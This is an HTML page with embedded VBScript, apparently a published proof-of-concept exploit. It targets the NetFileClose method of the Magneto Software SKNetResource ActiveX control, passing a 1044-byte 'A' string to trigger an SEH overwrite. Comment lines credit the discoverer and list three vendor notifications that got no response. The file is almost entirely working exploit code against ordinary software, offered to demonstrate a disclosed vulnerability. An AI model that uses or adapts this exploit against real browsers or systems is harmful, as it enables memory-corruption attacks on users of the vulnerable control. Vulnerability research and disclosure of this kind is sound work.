22 lines
No EOL
823 B
HTML
22 lines
No EOL
823 B
HTML
<html>
|
|
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
|
|
<script language='vbscript'>
|
|
'Magneto Software Net Resource ActiveX NetFileClose SEH Overwrite POC
|
|
'Discovered by: s4squatch of SecureState R&D Team
|
|
'Site: www.securestate.com
|
|
'Date Discovered: 02/11/10
|
|
'www: http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
|
|
'Download: http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe
|
|
'Vendor Notified: 02/02/10 --> NO RESPONSE
|
|
'Vendor Notified: 02/11/10 --> NO RESPONSE
|
|
'Vendor Notified: 02/17/10 --> NO RESPONSE
|
|
'SKNetResource.ocx
|
|
'Function NetFileClose ( ByVal strServerName As String , ByVal dwFileId As Long ) As Long
|
|
'progid = "SKNETRESOURCELib.SKNetResource"
|
|
|
|
'SEH overwrite
|
|
arg1=String(1044, "A")
|
|
arg2=1
|
|
target.NetFileClose arg1 ,arg2
|
|
|
|
</script> |